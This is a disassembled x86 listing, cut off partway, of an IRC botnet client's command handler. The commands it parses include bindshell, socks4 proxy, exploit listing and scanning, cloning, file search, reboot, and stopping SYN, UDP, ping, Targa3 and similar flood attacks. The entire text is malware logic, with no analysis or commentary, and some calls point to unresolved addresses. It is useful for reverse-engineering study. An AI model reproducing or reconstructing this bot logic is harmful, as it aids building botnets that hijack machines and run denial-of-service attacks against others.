loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C8DC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE28
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8C0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8A0
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42C864
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C820

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C7F8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 26905D4h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2690579h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2690CE2h
		push	eax
		push	offset unk_42C7C0
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C75C
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429230, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D130

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429230
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA30 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D148[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D130[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C718 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA2C ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA2C ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C66C

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C644
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C628
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C60C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C5F8
		push	offset dword_42C5EC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C5CC
		push	offset dword_42C5BC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5A4
		push	offset dword_42C598
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C584
		push	offset dword_42C578
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C530
		push	offset dword_42C520
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C508
		push	offset dword_42C4FC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C55C
		push	offset dword_42C54C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C44C
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4B0
		push	offset dword_42C4A0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C490
		push	offset dword_42C480
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C4E4
		push	offset dword_42C4D8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C4CC
		push	offset dword_42C4C0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C404
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C390
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C370
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2AC
		jnz	short loc_403191
		mov	eax, offset unk_42C284

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
